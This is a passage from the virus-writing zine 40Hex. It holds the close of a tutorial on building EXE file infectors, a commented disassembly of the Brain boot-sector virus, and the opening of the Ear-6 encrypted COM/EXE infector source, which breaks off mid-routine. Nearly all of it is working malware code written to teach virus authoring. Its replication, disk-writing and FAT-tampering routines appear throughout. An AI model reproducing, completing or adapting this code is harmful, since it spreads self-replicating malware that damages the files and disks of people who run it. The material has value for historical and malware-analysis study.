  3652.   buffer              db 1ah dup (?)      ; read buffer
  3653.   endheap:                                ; End of virus
  3654.   
  3655.   end       startvirus
  3656.   
  3657.   ----cut here---------------------------------------------------------------
  3658.   
  3659.   This is a simple EXE infector.  It has limitations; for example, it does
  3660.   not handle misnamed COM files.  This can be remedied by a simple check:
  3661.   
  3662.     cmp [bp+buffer],'ZM'
  3663.     jnz misnamed_COM
  3664.   continueEXE:
  3665.   
  3666.   Take special notice of the done_infections and infect_exe procedures.  They
  3667.   handle all  the relevant portions of the EXE infection.  The restoration of
  3668.   the EXE  file simply  consists of  resetting the stack and a far jmp to the
  3669.   original entry point.
  3670.   
  3671.   A final  note on  EXE infections: it is often helpful to "pad" EXE files to
  3672.   the nearest  segment.  This accomplishes two things.  First, the initial IP
  3673.   is  always  0,  a  fact  which  can  be  used  to  eliminate  delta  offset
  3674.   calculations.   Code space  can be  saved by  replacing all  those annoying
  3675.   relative memory  addressing statements  ([bp+offset blip])  statements with
  3676.   their absolute  counterparts (blip).   Second, recalculation of header info
  3677.   can be  handled in  paragraphs, simplifying  it tremendously.  The code for
  3678.   this is left as an exercise for the reader.
  3679.   
  3680.   This file is dedicated to the [XxXX] (Censored. -Ed.) programmers (who have
  3681.   yet to figure out how to  write EXE  infectors).  Hopefully, this  text can
  3682.   teach them (and everyone else) how to progress beyond simple COM and spawn-
  3683.   ing EXE infectors.   In the next issue of 40Hex,  I will present the theory
  3684.   and code for the next step of file infector - the coveted SYS file.
  3685. 40Hex Number 8 Volume 2 Issue 4                                       File 008
  3686.  
  3687. ; This is the ashar variant of the classic Pakistani Brain virus. It is large
  3688. ; by today's standards, although it was one of the first.  It is a floppy only
  3689. ; boot sector infector.
  3690.  
  3691. brain           segment byte public
  3692.         assume  cs:brain, ds:brain
  3693. ; Disassembly done by Dark Angel of PHALCON/SKISM
  3694.         org     0
  3695.  
  3696.         cli
  3697.         jmp     entervirus
  3698. idbytes         db       34h, 12h
  3699. firsthead       db      0
  3700. firstsector     dw      2707h
  3701. curhead         db      0
  3702. cursector       dw      1
  3703.         db      0, 0, 0, 0
  3704.         db      'Welcome to the  Dungeon         '
  3705. copyright       db      '(c) 1986 Brain'
  3706.         db      17h
  3707.         db      '& Amjads (pvt) Ltd   VIRUS_SHOE '
  3708.         db      ' RECORD   v9.0   Dedicated to th'
  3709.         db      'e dynamic memories of millions o'
  3710.         db      'f virus who are no longer with u'
  3711.         db      's today - Thanks GOODNESS!!     '
  3712.         db      '  BEWARE OF THE er..VIRUS  : \th'
  3713.         db      'is program is catching      prog'
  3714.         db      'ram follows after these messeges'
  3715.         db      '..... $'
  3716.         db      '#@%$'
  3717.         db      '@!! '
  3718. entervirus:
  3719.         mov     ax,cs
  3720.         mov     ds,ax                   ; ds = 0
  3721.         mov     ss,ax                   ; set stack to after
  3722.         mov     sp,0F000h               ; virus
  3723.         sti
  3724.         mov     al,ds:[7C00h+offset firsthead]
  3725.         mov     ds:[7C00h+offset curhead],al
  3726.         mov     cx,ds:[7C00h+offset firstsector]
  3727.         mov     ds:[7C00h+offset cursector],cx
  3728.         call    calcnext
  3729.         mov     cx,5                    ; read five sectors
  3730.         mov     bx,7C00h+200h           ; after end of virus
  3731.  
  3732. loadnext:
  3733.         call    readdisk
  3734.         call    calcnext
  3735.         add     bx,200h
  3736.         loop    loadnext
  3737.  
  3738.         mov     ax,word ptr ds:[413h]   ; Base memory size in Kb
  3739.         sub     ax,7                    ; - 7 Kb
  3740.         mov     word ptr ds:[413h],ax   ; Insert as new value
  3741.         mov     cl,6
  3742.         shl     ax,cl                   ; Convert to paragraphs
  3743.         mov     es,ax
  3744.         mov     si,7C00h                ; Copy from virus start
  3745.         mov     di,0                    ; to start of memory
  3746.         mov     cx,1004h                ; Copy 1004h bytes
  3747.         cld
  3748.         rep     movsb
  3749.         push    es
  3750.         mov     ax,200h
  3751.         push    ax
  3752.         retf                            ; return to old boot sector
  3753.  
  3754. readdisk:
  3755.         push    cx
  3756.         push    bx
  3757.         mov     cx,4                    ; Try 4 times
  3758.  
  3759. tryread:
  3760.         push    cx
  3761.         mov     dh,ds:[7C00h+offset curhead]
  3762.         mov     dl,0                    ; Read sector from default
  3763.         mov     cx,ds:[7C00h+offset cursector]
  3764.         mov     ax,201h                 ; Disk to memory at es:bx
  3765.         int     13h
  3766.         jnc     readOK
  3767.         mov     ah,0                    ; Reset disk
  3768.         int     13h                     ; (force read track 0)
  3769.         pop     cx
  3770.         loop    tryread
  3771.  
  3772.         int     18h                     ; ROM basic on failure
  3773. readOK:
  3774.         pop     cx
  3775.         pop     bx
  3776.         pop     cx
  3777.         retn
  3778.  
  3779. calcnext:
  3780.         mov     al,byte ptr ds:[7C00h+offset cursector]
  3781.         inc     al
  3782.         mov     byte ptr ds:[7C00h+offset cursector],al
  3783.         cmp     al,0Ah
  3784.         jne     donecalc
  3785.         mov     byte ptr ds:[7C00h+offset cursector],1
  3786.         mov     al,ds:[7C00h+offset curhead]
  3787.         inc     al
  3788.         mov     ds:[7C00h+offset curhead],al
  3789.         cmp     al,2
  3790.         jne     donecalc
  3791.         mov     byte ptr ds:[7C00h+offset curhead],0
  3792.         inc     byte ptr ds:[7C00h+offset cursector+1]
  3793. donecalc:
  3794.         retn
  3795.  
  3796. ; the following is a collection of garbage bytes
  3797.         db       00h, 00h, 00h, 00h, 32h,0E3h
  3798.         db       23h, 4Dh, 59h,0F4h,0A1h, 82h
  3799.         db      0BCh,0C3h, 12h, 00h, 7Eh, 12h
  3800.         db      0CDh, 21h,0A2h, 3Ch, 5Fh
  3801. a_data          dw      050Ch
  3802. ; Second part of the virus begins here
  3803.         jmp     short entersecondpart
  3804.         db      '(c) 1986 Brain & Amjads (pvt) Ltd ',0
  3805. readcounter     db      4                       ; keep track of # reads
  3806. curdrive        db      0
  3807. int13flag       db      0
  3808.  
  3809. entersecondpart:
  3810.         mov     cs:readcounter,1Fh
  3811.         xor     ax,ax
  3812.         mov     ds,ax                   ; ds -> interrupt table
  3813.         mov     ax,ds:[13h*4]
  3814.         mov     ds:[6Dh*4],ax
  3815.         mov     ax,ds:[13h*4+2]
  3816.         mov     ds:[6Dh*4+2],ax
  3817.         mov     ax,offset int13         ; 276h
  3818.         mov     ds:[13h*4],ax
  3819.         mov     ax,cs
  3820.         mov     ds:[13h*4+2],ax
  3821.         mov     cx,4                    ; 4 tries
  3822.         xor     ax,ax
  3823.         mov     es,ax                   ; es -> interrupt table
  3824.  
  3825. tryreadbootsector:
  3826.         push    cx
  3827.         mov     dh,cs:firsthead
  3828.         mov     dl,0
  3829.         mov     cx,cs:firstsector
  3830.         mov     ax,201h                 ; read from default disk
  3831.         mov     bx,7C00h
  3832.         int     6Dh                     ; int 13h
  3833.         jnc     readbootOK
  3834.         mov     ah,0
  3835.         int     6Dh                     ; int 13h
  3836.         pop     cx
  3837.         loop    tryreadbootsector
  3838.  
  3839.         int     18h                     ; ROM basic on failure
  3840. readbootOK:                                     ; return control to
  3841.                         ; original boot sector
  3842. ;*              jmp     far ptr 0000:7C00h
  3843.         db      0EAh, 00h, 7Ch, 00h, 00h
  3844.         nop                             ; MASM NOP!!!
  3845. int13:
  3846.         sti
  3847.         cmp     ah,2                    ; if not read request,
  3848.         jne     doint13                 ; do not go further
  3849.         cmp     dl,2                    ; if after second floppy,
  3850.         ja      doint13                 ; do not go further
  3851.         cmp     ch,0                    ; if not reading boot sector,
  3852.         jne     regularread             ; go handle as usual
  3853.         cmp     dh,0                    ; if boot sector,
  3854.         je      readboot                ; do I<-/>/\|> stuff
  3855. regularread:
  3856.         dec     cs:readcounter          ; Infect after 4 reads
  3857.         jnz     doint13                 ; If counter still OK, don't
  3858.                         ; do anything else
  3859.         jmp     short readboot          ; Otherwise, try to infect
  3860. doint13:
  3861.         jmp     exitint13h
  3862. readboot:
  3863. ; FINISH THIS!
  3864.         mov     cs:int13flag,0          ; clear flag
  3865.         mov     cs:readcounter,4        ; reset counter
  3866.         push    ax
  3867.         push    bx
  3868.         push    cx
  3869.         push    dx
  3870.         mov     cs:curdrive,dl
  3871.         mov     cx,4
  3872.  
  3873. tryreadbootblock:
  3874.         push    cx
  3875.         mov     ah,0                    ; Reset disk
  3876.         int     6Dh
  3877.         jc      errorreadingbootblock   ; Try again
  3878.         mov     dh,0
  3879.         mov     cx,1
  3880.         mov     bx,offset readbuffer    ; buffer @ 6BEh
  3881.         push    es
  3882.         mov     ax,cs
  3883.         mov     es,ax
  3884.         mov     ax,201h
  3885.         int     6Dh                     ; Read boot sector
  3886.         pop     es
  3887.         jnc     continuestuff           ; continue if no error
  3888. errorreadingbootblock:
  3889.         pop     cx
  3890.         loop    tryreadbootblock
  3891.  
  3892.         jmp     short resetdisk         ; too many failures
  3893.         nop
  3894. continuestuff:
  3895.         pop     cx                      ; get system id in boot block
  3896.         mov     ax,word ptr cs:[offset readbuffer+4]
  3897.         cmp     ax,1234h                ; already infected?
  3898.         jne     dodisk                  ; if not, infect it
  3899.         mov     cs:int13flag,1          ; flag prev. infection
  3900.         jmp     short noreset
  3901. dodisk:
  3902.         push    ds
  3903.         push    es
  3904.         mov     ax,cs
  3905.         mov     ds,ax
  3906.         mov     es,ax
  3907.         push    si
  3908.         call    writevirus              ; infect the disk
  3909.         jc      failme                  ; exit on failure
  3910.         mov     cs:int13flag,2          ; flag success
  3911.         call    changeroot              ; manipulate volume label
  3912. failme:
  3913.         pop     si
  3914.         pop     es
  3915.         pop     ds
  3916.         jnc     noreset                 ; don't reset on success
  3917. resetdisk:
  3918.         mov     ah,0                    ; reset disk
  3919.         int     6Dh                     ; int 13h
  3920. noreset:
  3921.         pop     dx
  3922.         pop     cx
  3923.         pop     bx
  3924.         pop     ax
  3925.         cmp     cx,1
  3926.         jne     exitint13h
  3927.         cmp     dh,0
  3928.         jne     exitint13h
  3929.         cmp     cs:int13flag,1          ; already infected?
  3930.         jne     wasntinfected           ; if wasn't, go elsewhere
  3931.         mov     cx,word ptr cs:[offset readbuffer+7]
  3932.         mov     dx,word ptr cs:[offset readbuffer+5]
  3933.         mov     dl,cs:curdrive          ; otherwise, read real
  3934.         jmp     short exitint13h        ; boot sector
  3935. wasntinfected:
  3936.         cmp     cs:int13flag,2          ; successful infection?
  3937.         jne     exitint13h              ; if not, just do call
  3938.         mov     cx,cs:firstsector
  3939.         mov     dh,cs:firsthead
  3940. exitint13h:
  3941.         int     6Dh                     ; int 13h
  3942.         retf    2
  3943.         db      15 dup (0)
  3944.  
  3945. FATManip:                                       ; returns al as error code
  3946.         jmp     short delvedeeper
  3947.         nop
  3948. FATManipreadcounter dw      3
  3949.         db      ' (c) 1986 Brain & Amjads (pvt) Ltd'
  3950. delvedeeper:
  3951.         call    readFAT                 ; Get FAT ID byte
  3952.         mov     ax,word ptr ds:[offset readbuffer]
  3953.         cmp     ax,0FFFDh               ; is it 360K disk?
  3954.         je      is360Kdisk              ; continue if so
  3955.         mov     al,3                    ; al=3 == not good disk
  3956.         stc                             ; flag error
  3957.         retn                            ; and exit
  3958. is360Kdisk:
  3959.         mov     cx,37h
  3960.         mov     FATManipreadcounter,0   ; none found yet
  3961. checknextsector:
  3962.         call    FATentry12bit           ; get entry in FAT
  3963.         cmp     ax,0                    ; unused?
  3964.         jne     notunused
  3965.         inc     FATManipreadcounter     ; one more found unused
  3966.         cmp     FATManipreadcounter,3   ; If need more,
  3967.         jne     tryanother              ;  go there
  3968.         jmp     short markembad         ; found 3 consecutive
  3969.         nop                             ; empty sectors
  3970. notunused:
  3971.         mov     FATManipreadcounter,0   ; must start over
  3972. tryanother:
  3973.         inc     cx                      ; try next sector
  3974.         cmp     cx,163h                 ; end of disk?
  3975.         jne     checknextsector         ; if not, continue
  3976.         mov     al,1                    ; al=1 == none empty
  3977.         stc                             ; Indicate error
  3978.         retn
  3979. markembad:
  3980.         mov     dl,3                    ; 3 times
  3981. markanotherbad:
  3982.         call    markbad12bit
  3983.         dec     cx
  3984.         dec     dl
  3985.         jnz     markanotherbad
  3986.         inc     cx
  3987.         call    calc1sttrack
  3988.         call    writeFAT                ; update FAT
  3989.         mov     al,0                    ; al=0 == ok
  3990.         clc                             ; indicate success
  3991.         retn
  3992.  
  3993. markbad12bit:
  3994.         push    cx
  3995.         push    dx
  3996.         mov     si,offset readbuffer    ; si -> buffer
  3997.         mov     al,cl
  3998.         shr     al,1
  3999.         jc      low_12                  ; low bits
  4000.         call    clus2offset12bit
  4001.         mov     ax,[bx+si]              ; get FAT entry
  4002.         and     ax,0F000h               ; mark it bad
  4003.         or      ax,0FF7h
  4004.         jmp     short putitback         ; and put it back
  4005.         nop
  4006. low_12:
  4007.         call    clus2offset12bit
  4008.         mov     ax,[bx+si]              ; get FAT entry
  4009.         and     ax,0Fh                  ; mark it bad
  4010.         or      ax,0FF70h
  4011. putitback:
  4012.         mov     [bx+si],ax              ; replace FAT entry
  4013.         mov     word ptr ds:[400h][bx+si],ax ; in two places
  4014.         pop     dx
  4015.         pop     cx
  4016.         retn
  4017.  
  4018. FATentry12bit:
  4019.         push    cx
  4020.         mov     si,offset readbuffer    ; si->buffer
  4021.         mov     al,cl
  4022.         shr     al,1
  4023. ; Part 3 of the virus starts here
  4024.         jc      want_high_12
  4025.         call    clus2offset12bit
  4026.         mov     ax,[bx+si]
  4027.         and     ax,0FFFh
  4028.         jmp     short exitFATentry12bit
  4029.         nop
  4030. want_high_12:
  4031.         call    clus2offset12bit        ; xxxxxxxxxxxx0000
  4032.         mov     ax,[bx+si]              ; ^^^^^^^^^^^^wanted
  4033.         and     ax,0FFF0h               ; mask wanted bits
  4034.         mov     cl,4                    ; and move to correct
  4035.         shr     ax,cl                   ; position
  4036. exitFATentry12bit:
  4037.         pop     cx
  4038.         retn
  4039.  
  4040. clus2offset12bit:
  4041.         push    dx
  4042.         mov     ax,3
  4043.         mul     cx
  4044.         shr     ax,1                    ; ax = cx*1.5
  4045.         mov     bx,ax
  4046.         pop     dx
  4047.         retn
  4048.  
  4049. readFAT:
  4050.         mov     ah,2                    ; read
  4051.         call    FAT_IO
  4052.         retn
  4053.  
  4054. writeFAT:
  4055.         mov     ah,3                    ; write
  4056.         call    FAT_IO
  4057.         retn
  4058.  
  4059. FAT_IO:
  4060.         mov     cx,4                    ; try four times
  4061. FAT_IOLoop:
  4062.         push    cx
  4063.         push    ax
  4064.         mov     ah,0                    ; reset disk
  4065.         int     6Dh                     ; int 13h
  4066.         pop     ax
  4067.         jc      tryFAT_IOagain
  4068.         mov     bx,offset readbuffer
  4069.         mov     al,4                    ; 4 sectors
  4070.         mov     dh,0                    ; head 0
  4071.         mov     dl,curdrive
  4072.         mov     cx,2                    ; sector 2
  4073.         push    ax                      ; (FAT)
  4074.         int     6Dh                     ; int 13h
  4075.         pop     ax
  4076.         jnc     exitFAT_IO
  4077. tryFAT_IOagain:
  4078.         pop     cx
  4079.         loop    FAT_IOLoop
  4080.  
  4081.         pop     ax
  4082.         pop     ax
  4083.         mov     al,2
  4084.         stc                             ; mark error
  4085.         retn
  4086. exitFAT_IO:
  4087.         pop     cx
  4088.         retn
  4089.  
  4090. calc1sttrack:
  4091.         push    cx
  4092.         sub     cx,2
  4093.         shl     cx,1                    ; 2 sectors/cluster
  4094.         add     cx,0Ch                  ; start of data area
  4095.         mov     ax,cx                   ; ax = sector
  4096.         mov     cl,12h                  ; 4096
  4097.         div     cl                      ; ax/4096 = al rem ah
  4098.         mov     byte ptr firstsector+1,al
  4099.         mov     firsthead,0
  4100.         inc     ah
  4101.         cmp     ah,9                    ; past track 9?
  4102.         jbe     notpasttrack9           ; nope, we are ok
  4103.         sub     ah,9                    ; otherwise, adjust
  4104.         mov     firsthead,1
  4105. notpasttrack9:
  4106.         mov     byte ptr firstsector,ah
  4107.         pop     cx
  4108.         retn
  4109.  
  4110.         db      0, 0, 0, 0, 0, 0
  4111. r_or_w_root     db      3
  4112. entrycount      dw      35h
  4113.  
  4114. tempsave1       dw      303h
  4115. tempsave2       dw      0EBEh
  4116. tempsave3       dw      1
  4117. tempsave4       dw      100h
  4118.         db      0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh
  4119.         db       8Dh, 98h, 9Fh, 8Eh,0E0h
  4120.         db      ' (c) ashar $'
  4121. changeroot:
  4122.         call    readroot                ; read in root directory
  4123.         jc      donotchangeroot
  4124.         push    di
  4125.         call    changevolume            ; change volume label
  4126.         pop     di
  4127.         jc      donotchangeroot
  4128.         call    writeroot               ; write back new root dir
  4129. donotchangeroot:
  4130.         retn
  4131. ; The following is just garbage bytes
  4132.         db      0BBh, 9Bh, 04h,0B9h, 0Bh
  4133.         db      0,8Ah,7,0F6h,0D8h,88h,4,46h,43h
  4134.         db      0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h
  4135.         db      0C6h, 06h
  4136.  
  4137. changevolume:
  4138.         mov     entrycount,6Ch
  4139.         mov     si,offset readbuffer+40h; 3nd dir entry
  4140.         mov     tempsave1,dx
  4141.         mov     ax,entrycount           ; 6Ch
  4142.         shr     ax,1
  4143.         mov     tempsave3,ax            ; 36h
  4144.         shr     ax,1
  4145.         mov     tempsave2,ax            ; 1Bh
  4146.         xchg    ax,cx
  4147.         and     cl,43h                  ; cx = 3
  4148.         mov     di,tempsave2
  4149.         add     di,1E3h                 ; di = 01FE
  4150. findlabel:
  4151.         mov     al,[si]
  4152.         cmp     al,0
  4153.         je      dolabel                 ; no mo entries
  4154.         mov     al,[si+0Bh]             ; attribute byte
  4155.         and     al,8                    ; volume label?
  4156.         cmp     al,8                    ; yes?
  4157.         je      dolabel                 ; then change it!
  4158.         add     si,20h                  ; go to next directory entry
  4159.         dec     entrycount
  4160.         jnz     findlabel               ; loop back
  4161.         stc                             ; Error!
  4162.         retn
  4163.         db      8Bh
  4164. dolabel:
  4165.         mov     bx,[di]                 ; offset a_data
  4166.         xor     bx,tempsave3            ; bx = 53Ah
  4167.         mov     tempsave3,si            ; si->direntry
  4168.         cli
  4169.         mov     ax,ss
  4170.         mov     tempsave1,ax
  4171.         mov     tempsave2,sp
  4172.         mov     ax,cs
  4173.         mov     ss,ax
  4174.         mov     sp,tempsave3
  4175.         add     sp,0Ch                  ;->reserved area
  4176.         mov     cl,51h
  4177.         add     dx,444Ch
  4178.         mov     di,2555h
  4179.         mov     cx,0C03h
  4180.         repe    cmpsw
  4181.         mov     ax,0B46h
  4182.         mov     cx,3
  4183.         rol     ax,cl                   ; ax = 5A30h
  4184.         mov     tempsave3,ax
  4185.         mov     cx,5
  4186.         mov     dx,8
  4187.         sub     tempsave3,5210h         ; 820h
  4188.         push    tempsave3               ; store attributes/reserved
  4189. ; I haven't commented the remainder of this procedure.
  4190. ; It basically changes the volume label to read "(c) Brain"
  4191.  
  4192. ; Comment mode OFF
  4193.  
  4194. dowhatever:
  4195.         mov     ah,[bx]                 ; 5a3h
  4196.         inc     bx
  4197.         mov     dl,ah
  4198.         shl     dl,1
  4199.         jc      dowhatever
  4200. searchstuff:
  4201.         mov     dl,[bx]                 ; dl=C2h
  4202.         inc     bx                      ; bx=53Eh
  4203.         mov     al,dl
  4204.         shl     dl,1
  4205.         jc      searchstuff
  4206.         add     ax,1D1Dh
  4207.         push    ax
  4208.         inc     tempsave3
  4209.         db       73h, 01h               ; jnc $+3
  4210.         db      0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2
  4211.         xchg    bp,ax
  4212.         add     al,0A1h
  4213.         xchg    bx,ax
  4214.         add     al,8Eh
  4215.         sar     bl,1
  4216.         add     dh,[bp+si]
  4217.         clc
  4218.         ret
  4219.         ;db       95h, 04h,0A1h, 93h, 04h, 8Eh
  4220.         ;db      0D0h,0FBh, 02h, 32h,0F8h,0C3h
  4221.  
  4222. ; Comment mode ON
  4223.  
  4224. readroot:
  4225.         mov     r_or_w_root,2           ; set action code
  4226.         jmp     short do_rw_root        ; easier to do w/
  4227.         nop                             ; mov ah, 2
  4228. writeroot:
  4229.         mov     r_or_w_root,3
  4230.         jmp     short do_rw_root        ; this is somewhat useless
  4231.         nop
  4232. do_rw_root:
  4233.         mov     dh,0                    ; head 0
  4234.         mov     dl,curdrive
  4235.         mov     cx,6                    ; sector 6
  4236.         mov     ah,r_or_w_root
  4237.         mov     al,4                    ; 4 sectors
  4238.         mov     bx,offset readbuffer
  4239.         call    doint13h
  4240.         jc      exit_rw_root            ; quit on error
  4241.         mov     cx,1
  4242.         mov     dh,1                    ; head 1
  4243.         mov     ah,r_or_w_root
  4244.         mov     al,3
  4245.         add     bx,800h
  4246.         call    doint13h
  4247.  
  4248. exit_rw_root:
  4249.         retn
  4250.  
  4251. doint13h:
  4252.         mov     tempsave1,ax
  4253.         mov     tempsave2,bx
  4254.         mov     tempsave3,cx
  4255.         mov     tempsave4,dx
  4256.         mov     cx,4
  4257.  
  4258. doint13hloop:
  4259.         push    cx
  4260.         mov     ah,0                    ; Reset disk
  4261.         int     6Dh
  4262.         jc      errordoingint13h
  4263.         mov     ax,tempsave1
  4264.         mov     bx,tempsave2
  4265.         mov     cx,tempsave3
  4266.         mov     dx,tempsave4
  4267.         int     6Dh                     ; int 13h
  4268.         jnc     int13hsuccess
  4269. errordoingint13h:
  4270.         pop     cx
  4271.         loop    doint13hloop
  4272.  
  4273.         stc                             ; indicate error
  4274.         retn
  4275. int13hsuccess:
  4276.         pop     cx
  4277.         retn
  4278.  
  4279.         db      0, 0, 0
  4280. ; Part 4 of the virus starts here
  4281. tempstorecx     dw      3
  4282. readwritecurrentdata    dw      301h
  4283.  
  4284. writevirus:
  4285.         call    FATManip
  4286.         jc      exitwritevirus
  4287.         mov     cursector,1
  4288.         mov     curhead,0
  4289.         mov     bx,offset readbuffer
  4290.         call    readcurrent
  4291.         mov     bx,offset readbuffer
  4292.         mov     ax,firstsector
  4293.         mov     cursector,ax
  4294.         mov     ah,firsthead
  4295.         mov     curhead,ah
  4296.         call    writecurrent
  4297.         call    calcnextsector
  4298.         mov     cx,5
  4299.         mov     bx,200h
  4300. writeanothersector:
  4301.         mov     tempstorecx,cx
  4302.         call    writecurrent
  4303.         call    calcnextsector
  4304.         add     bx,200h
  4305.         mov     cx,tempstorecx
  4306.         loop    writeanothersector
  4307.  
  4308.         mov     curhead,0
  4309.         mov     cursector,1
  4310.         mov     bx,0
  4311.         call    writecurrent
  4312.         clc                             ; indicate success
  4313. exitwritevirus:
  4314.         retn
  4315.  
  4316.  
  4317. readcurrent:
  4318.         mov     readwritecurrentdata,201h
  4319.         jmp     short doreadwrite
  4320.         nop
  4321. writecurrent:
  4322.         mov     readwritecurrentdata,301h
  4323.         jmp     short doreadwrite       ; This is pointless.
  4324.         nop
  4325. doreadwrite:
  4326.         push    bx
  4327.         mov     cx,4
  4328.  
  4329. tryreadwriteagain:
  4330.         push    cx
  4331.         mov     dh,curhead
  4332.         mov     dl,curdrive
  4333.         mov     cx,cursector
  4334.         mov     ax,readwritecurrentdata ; read or write?
  4335.         int     6Dh                     ; int 13h
  4336.         jnc     readwritesuccessful
  4337.         mov     ah,0                    ; reset disk
  4338.         int     6Dh                     ; int 13h
  4339.         pop     cx
  4340.         loop    tryreadwriteagain
  4341.  
  4342.         pop     bx
  4343.         pop     bx
  4344.         stc                             ; Indicate error
  4345.         retn
  4346. readwritesuccessful:
  4347.         pop     cx
  4348.         pop     bx
  4349.         retn
  4350.  
  4351.  
  4352. calcnextsector:
  4353.         inc     byte ptr cursector      ; next sector
  4354.         cmp     byte ptr cursector,0Ah
  4355.         jne     donecalculate           ; finished calculations
  4356.         mov     byte ptr cursector,1    ; clear sector #
  4357.         inc     curhead                 ; and go to next head
  4358.         cmp     curhead,2               ; if not too large,
  4359.         jne     donecalculate           ; we are done
  4360.         mov     curhead,0               ; otherwise clear head #
  4361.         inc     byte ptr cursector+1    ; and advance cylinder
  4362. donecalculate:
  4363.         retn
  4364.  
  4365.         db       64h, 74h, 61h
  4366.  
  4367. ; read buffer starts here
  4368. ; insert your favorite boot block below...
  4369. readbuffer:
  4370. brain           ends
  4371.         end
  4372. 40Hex Number 8 Volume 2 Issue 4                                       File 009
  4373.  
  4374.           -=PHALCON/SKISM=- Ear-6 Virus
  4375.  
  4376.     The Ear-6 is a parasitic, non-resident, .COM & .EXE infector.  It
  4377. infects 5 files everytime it is run.  It will traverse towards the root
  4378. directory if fewer than 5 files are found.  We have no clue as to what
  4379. the 'AUX error' that Patti talks about.  But then again, Patti isn't
  4380. sure as to who she is, let alone an accurate discription on one of our
  4381. virii.  On activation (1st of any month), it plays ear quiz with
  4382. victim.  Failure to answer the question will result in program
  4383. termination.
  4384.                     -) Gheap
  4385.  
  4386. -----------------------------------------------------------------------------
  4387. ; [Ear-6]
  4388.  
  4389. ; El virus de oreja y oído seis
  4390. ; Fue escrito por Dark Angel de PHALCON/SKISM
  4391. ; Yo (el ángel oscuro) escribí este programa hace muchas semanas.
  4392. ; No deba modificar este programa y da a otras personas COMO SI
  4393. ; estará el suyo.
  4394.  
  4395. ; ¿Dónde está mi llama, mama?
  4396.  
  4397. ;                       diccionarito
  4398. ; español       inglés                   magnitud      size
  4399. ; abre          open                     mango         handle
  4400. ; aprueba       pass (a test)            máscara       mask
  4401. ; atras         back                     mensaje       message
  4402. ; azado         random                   mes           month
  4403. ; busca         find                     montón        heap
  4404. ; cierra        close                    oreja, oído   ear
  4405. ; cifra         code, encrypt, decrypt   pila          stack
  4406. ; codo          pointer                  pregunta      question
  4407. ; corto         terse, short             primer        first
  4408. ; empieza       begin                    remendar      patch
  4409. ; escriba       write                    renuncia      reject
  4410. ; español       inglés                   respuesta     answer
  4411. ; fecha         date                     salta         exit
  4412. ; ficha         file                     siguiente     following, next
  4413. ; índice        table                    suspende      fail (a test)
  4414. ; ¿le gusta?    do you like?             termina       end
  4415. ; longitud      length                   virus         virus (!)
  4416.  
  4417. .model tiny
  4418. .code
  4419. org     100h
  4420.  
  4421. longitud_del_virus = TerminaVir - EmpezarVir
  4422. longitud_del_escribir = offset termina_escribir - offset escribir
  4423.  
  4424. id = 'GH'                                       ; Representa el líder de
  4425.                         ; PHALCON/SKISM, Garbageheap
  4426. Empezar:  db      0e9h, 0, 0                    ; jmp EmpezarVir
  4427.  
  4428. EmpezarVir:
  4429. shwing:
  4430. remendar1:
  4431.     mov     bx, offset EmpezarCifra
  4432. remendar2:
  4433.     mov     cx, ((longitud_del_virus + 1) / 2)
  4434. hacia_atras:    ; atrás
  4435.     db      2eh
  4436. remendar3:
  4437.     db      81h, 37h, 0, 0                  ; xor word ptr cs:[bx], 0
  4438.     add     bx, 2
  4439.     loop    hacia_atras
  4440. EmpezarCifra:
  4441.  
  4442.     call    siguiente                       ; Es estupido, pero es corto
  4443. siguiente:
  4444.     pop     bp
  4445.     sub     bp, offset siguiente
  4446.  
  4447.     mov     byte ptr [bp+numinf], 0
  4448.  
  4449.     cld                                     ; No es necessario, pero
  4450.                         ; ¿por qué no?
  4451.     cmp     sp, id
  4452.     jz      SoyEXE
  4453. SoyCOM: mov     di, 100h
  4454.     push    di
  4455.     lea     si, [bp+Primer3]
  4456.     movsb
  4457.     jmp     short SoyNada
  4458. SoyEXE: push    ds
  4459.     push    es
  4460.     push    cs
  4461.     push    cs
  4462.     pop     ds
  4463.     pop     es
  4464.  
  4465.     lea     di, [bp+EXE_Donde_JMP]  ; el CS:IP original de la ficha
  4466.     lea     si, [bp+EXE_Donde_JMP2] ; infectada
  4467.     movsw
  4468.     movsw
  4469.     movsw
  4470.  
  4471.     jmp     short SoyNada
  4472.  
  4473. NombreDelVirus  db  0,'[Ear-6]',0               ; En inglés, ¡por supuesto!
  4474. NombreDelAutor  db  'Dark Angel',0
  4475.  
  4476. SoyNada:
  4477.     movsw
  4478.  
  4479.     mov     ah, 1ah                         ; Esindicece un DTA nuevo
  4480.     lea     dx, [bp+offset nuevoDTA]        ; porque no quiere destruir
  4481.     int     21h                             ; el DTA original
  4482.  
  4483.     mov     ax, word ptr [bp+remendar1+1]
  4484.     mov     word ptr [bp+tempo], ax
  4485.  
  4486.     mov     ah, 47h                         ; Obtiene el directorio
  4487.     xor     dl, dl                          ; presente
  4488.     lea     si, [bp+diroriginal]
  4489.     int     21h
  4490.  
  4491. looper:
  4492.     lea     dx, [bp+offset mascara1]        ; "máscara", no "mascara"
  4493.     call    infectar_mascara                ; pero no es possible usar
  4494.                         ; acentos en MASM/TASM.
  4495.                         ; ¡Qué lástima!
  4496.                         ; mascara1 es '*.EXE',0
  4497.     lea     dx, [bp+offset mascara2]        ; mascara2 es '*.COM',0
  4498.     call    infectar_mascara                ; infecta las fichas de COM
  4499.  
  4500.     cmp     byte ptr [bp+numinf], 5         ; ¿Ha infectada cinco fichas?
  4501.     jg      saltar                          ; Si es verdad, no necesita
  4502.                         ; busca más fichas.
  4503.     mov     ah, 3bh                         ; Cambia el directorio al
  4504.     lea     dx, [bp+puntos]                 ; directorio anterior
  4505.     int     21h                             ; ('..', 'punto punto')
  4506.     jnc     looper
  4507.  
  4508. saltar: lea     dx, [bp+backslash]              ; Cambia el directorio al
  4509.     mov     ah, 3bh                         ; directorio terminado.
  4510.     int     21h
  4511.  
  4512.     mov     ah, 2ah                         ; Activa el primer de
  4513.     int     21h                             ; cada mes
  4514.     cmp     dl, 1                           ; Si no es el primer,
  4515.     jnz     saltarahora                     ; ¡saltar ahora! (duh-o)
  4516.  
  4517.     mov     ah, 2ch                         ; ¿Qué hora es?
  4518.     int     21h
  4519.  
  4520.     cmp     dl, 85                          ; 85% probabilidad de
  4521.     jg      saltarahora                     ; activación
  4522.  
  4523.     and     dx, 7                           ; Un número quasi-azado
  4524.     shl     dl, 1                           ; Usalo para determinar
  4525.     mov     bx, bp                          ; que preguntará la virus
  4526.     add     bx, dx
  4527.     mov     dx, word ptr [bx+indice]        ; índice para el examencito
